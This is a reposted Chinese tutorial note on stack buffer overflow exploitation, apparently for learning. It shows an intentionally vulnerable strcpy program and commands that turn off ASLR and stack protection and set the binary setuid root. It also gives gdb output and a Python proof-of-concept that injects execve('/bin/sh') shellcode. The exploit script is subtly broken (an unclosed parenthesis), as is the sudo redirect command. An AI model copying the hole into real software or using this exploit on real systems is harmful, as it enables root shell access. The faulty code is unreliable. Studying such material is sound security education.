PWN学习笔记2--堆栈的缓冲区溢出

栏目: C · 发布时间: 6年前

内容简介：缓冲区溢出有两种类型：缓冲区溢出可导致任意代码执行！任意代码执行允许攻击者执行其代码以获取受害者机器的控制权，获取shell，添加新用户，打开端口等……

缓冲区溢出有两种类型：

基于栈的缓冲区溢出
基于堆的缓冲区溢出

缓冲区溢出可导致任意代码执行！

任意代码执行允许攻击者执行其代码以获取受害者机器的控制权，获取shell，添加新用户，打开端口等……

栈溢出示例

易受攻击的代码

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

gcc编译

#关闭ASLR（地址空间布局随机化）
sudo echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
#添加执行权限
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

从上述代码可以看出，第[2]行代码存在缓冲区溢出，可导致任意代码执行。

反编译

使用gdb编译

测试

当输入大小超过256时会溢出缓冲区并覆盖栈中的返回地址。通过输入“A” 268 + “B” 4测试。

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

输出显示寄存器eip被“BBBB”覆盖。

0x8 is alignment space
0x4 is caller’s EBP
268=256+8+4

Poc

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

Designing Data-Intensive Applications

Martin Kleppmann / O'Reilly Media / 2017-4-2 / USD 44.99

Data is at the center of many challenges in system design today. Difficult issues need to be figured out, such as scalability, consistency, reliability, efficiency, and maintainability. In addition, w......一起来看看《Designing Data-Intensive Applications》这本书的介绍吧!

码农工具